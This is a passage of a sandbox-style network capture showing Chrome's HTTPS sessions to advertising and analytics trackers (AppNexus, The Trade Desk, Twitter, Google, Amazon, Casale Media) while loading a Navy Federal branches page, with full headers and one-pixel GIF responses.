2024-05-24 22:46:21 UTC	460	IN	HTTP/1.1 304 Not Modified Connection: close Last-Modified: Mon, 20 May 2024 07:02:14 GMT x-amz-server-side-encryption: AES256 Server: AmazonS3 Date: Fri, 24 May 2024 04:52:22 GMT ETag: "2775054c068b37509e0798448f7fd32c" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 9f9de4292c90d3b00804c3fd5a50677e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: CVajH5i6A2nHOUhf4itSin4Wst7l142Y_mbZFwrOJGu22TKCt-PSww== Age: 64440

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.6	50215	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	728	OUT	GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=291116a4-3ed1-4243-8e5e-92574127ce52&mt=&bd=&cb=1716590780928 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:21 UTC	412	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1 Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 Content-Type: image/gif X-Cloud-Trace-Context: db6f99fc6dbb9a36541b4885f3bcd86a Date: Fri, 24 May 2024 22:46:21 GMT Server: Google Frontend Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:21 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.6	50216	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	728	OUT	GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=c207c80a-2f7e-4578-8ccb-bdf24f5ca4a9&mt=&bd=&cb=1716590780932 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:21 UTC	412	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1 Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 Content-Type: image/gif X-Cloud-Trace-Context: 1098d722c0a0cd659b4752f6c06a9dfa Date: Fri, 24 May 2024 22:46:21 GMT Server: Google Frontend Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:21 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.6	50214	185.89.210.122	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	1260	OUT	GET /getuid?https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Freceive%3Fpartner_id%3DAPPNEXUS%26partner_device_id%3D%24UID%26pt%3Dd437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae%252Chttps%25253A%25252F%25252Fmatch.adsrvr.org%25252Ftrack%25252Fcmf%25252Fgeneric%25253Fttd_pid%25253Dtapad%252C HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M4.FE:2jUF']wIg2E?d?=+XZ!A#FZ.TOK`YT5U?QgGs+h/jTcgm>oi+IwEk^^ZXiHJ<dcw^6_jc?Ppkz0nypNjf=kLd><f=kW*g0D(HGz^Q
2024-05-24 22:46:21 UTC	1598	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Fri, 24 May 2024 22:46:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://pixel.tapad.com/idsync/ex/receive?partner_id=APPNEXUS&partner_device_id=6116765264039870456&pt=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae%2Chttps%253A%252F%252Fmatch.adsrvr.org%252Ftrack%252Fcmf%252Fgeneric%253Fttd_pid%253Dtapad%2C AN-X-Request-Uuid: 2ef6cc64-5e36-466a-b002-62e55f5aab5b Set-Cookie: XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:21 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Fri, 12-May-2034 22:46:21 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6116765264039870456; SameSite=None; Path=/; Max-Age=7776000; Expires=Thu, 22-Aug-2024 22:46:21 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 954.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.6	50217	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	1169	OUT	GET /track/cmf/generic?ttd_pid=yjn0gup HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUoAzILCKLBmv3Bk_48EAU4AUIEIgIIAVoHcGNsOGJpeWAB
2024-05-24 22:46:21 UTC	792	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:21 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:21 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUgASgDMgsIosGa_cGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.; expires=Sat, 24 May 2025 22:46:21 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:21 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.6	50218	104.244.42.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	825	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=8fe646c2-4d81-4371-ac38-dd415ddacf00&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:22 UTC	401	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:21 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 3c98644ac26e7c2c strict-transport-security: max-age=631138519 x-response-time: 93 x-connection-hash: b355fcd77fa827cf39e07bfec9aa2730dfd6b139a7d380ab8e3c9d2437165587 connection: close
2024-05-24 22:46:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.6	50222	104.244.42.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	1064	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=63fb1628-255d-4c28-a9d9-fe6565c9fae3&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_i8U0oiFUHf/L+PKbJbHdBg=="; guest_id_marketing=v1%3A171659076476233977; guest_id_ads=v1%3A171659076476233977; guest_id=v1%3A171659076476233977
2024-05-24 22:46:22 UTC	400	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:21 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: a88ac3eacd2a2b61 strict-transport-security: max-age=631138519 x-response-time: 6 x-connection-hash: 72d7631ef0e6cce36e4ec8c7a84a11277e7a99c76218a95fbe22b8f5d668c259 connection: close
2024-05-24 22:46:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.6	50221	104.244.42.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	927	OUT	GET /1/i/adsct?bci=5&eci=3&event=%7B%7D&event_id=63fb1628-255d-4c28-a9d9-fe6565c9fae3&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:22 UTC	392	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:21 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 0389e18eae9aeb67 strict-transport-security: max-age=0 x-response-time: 5 x-connection-hash: 25079f5ef1554562b513888fdcd150640df4d50d42a19f4250aa6dd156f70b17 connection: close
2024-05-24 22:46:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.6	50219	142.250.184.226	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:21 UTC	862	OUT	GET /ddm/fls/z/src=9749892;dc_pre=CNve6vyup4YDFTXLOwIdNMEJvA;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=$%7BGDPR%7D;gdpr_consent=$%7BGDPR_CONSENT_755%7D;ord=1 HTTP/1.1 Host: adservice.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:22 UTC	529	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 24 May 2024 22:46:22 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:22 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.6	50224	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	640	OUT	GET /ecm3?ex=xandrHMT&id=wCkBr523Tkqf1J4YPCC1Ww HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:22 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:22 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 064X03WQC3SER0RRN9WS Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.6	50228	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	489	OUT	GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=c207c80a-2f7e-4578-8ccb-bdf24f5ca4a9&mt=&bd=&cb=1716590780932 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:22 UTC	412	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1 Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 Content-Type: image/gif X-Cloud-Trace-Context: 2759a1791a5f33faf375ebfbc1207836 Date: Fri, 24 May 2024 22:46:22 GMT Server: Google Frontend Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:22 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.6	50227	104.244.42.5	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	992	OUT	GET /i/adsct?bci=5&eci=2&event_id=3d577c9c-3e38-4428-a40f-30862c9d7b9d&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: t.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: muc_ads=5afb271d-5ca0-4fba-8d76-91e68208e2e2
2024-05-24 22:46:22 UTC	393	IN	HTTP/1.1 200 OK date: Fri, 24 May 2024 22:46:21 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 2ed9c189c82af108 strict-transport-security: max-age=0 x-response-time: 74 x-connection-hash: 972644981e5a1416e7876f2b69b57c4a1ae15358efc3cf6cbc1d5744532e57f5 connection: close
2024-05-24 22:46:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.6	50231	104.18.36.155	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	802	OUT	GET /rum?cm_dsp_id=39&external_user_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&expiration=1719182780&gdpr=0&gdpr_consent= HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:23 UTC	1229	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:23 GMT Content-Length: 0 Connection: close Location: /rum?cm_dsp_id=39&external_user_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&expiration=1719182780&gdpr=0&gdpr_consent=&C=1 CF-Ray: 8890d249eae95e7d-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZlEYv9HM66QAAATEATLXcQAA; Path=/; Domain=casalemedia.com; Expires=Sat, 24 May 2025 22:46:23 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPS=1322; Path=/; Domain=casalemedia.com; Expires=Thu, 22 Aug 2024 22:46:23 GMT; Max-Age=7776000; Secure; SameSite=None Set-Cookie: CMPRO=1322; Path=/; Domain=casalemedia.com; Expires=Thu, 22 Aug 2024 22:46:23 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G%2Fpf036CNuM6dNDH2j%2FOCBWyMpgIZrrKmbbjN%2BQOBqk3cWGI%2BqE4nbfKkEdttLTghGgqx3%2FDcvVBNcbVBm5BxmAJW14lLJzlACQsHSzl8gOTLKO7N1nC3s52ahYaC6aNYXFpH9fvdC154A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.6	50230	104.244.42.67	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:22 UTC	1129	OUT	GET /i/adsct?bci=5&eci=2&event_id=3d577c9c-3e38-4428-a40f-30862c9d7b9d&events=%5B%5B%22pageview%22%2C%7B%7D%5D%5D&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=01f6fb2f-27c0-4364-9f29-afabad0e5f10&tw_document_href=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&tw_iframe_status=0&tw_order_quantity=0&tw_sale_amount=0&txn_id=o4vdx&type=javascript&version=2.3.30 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: 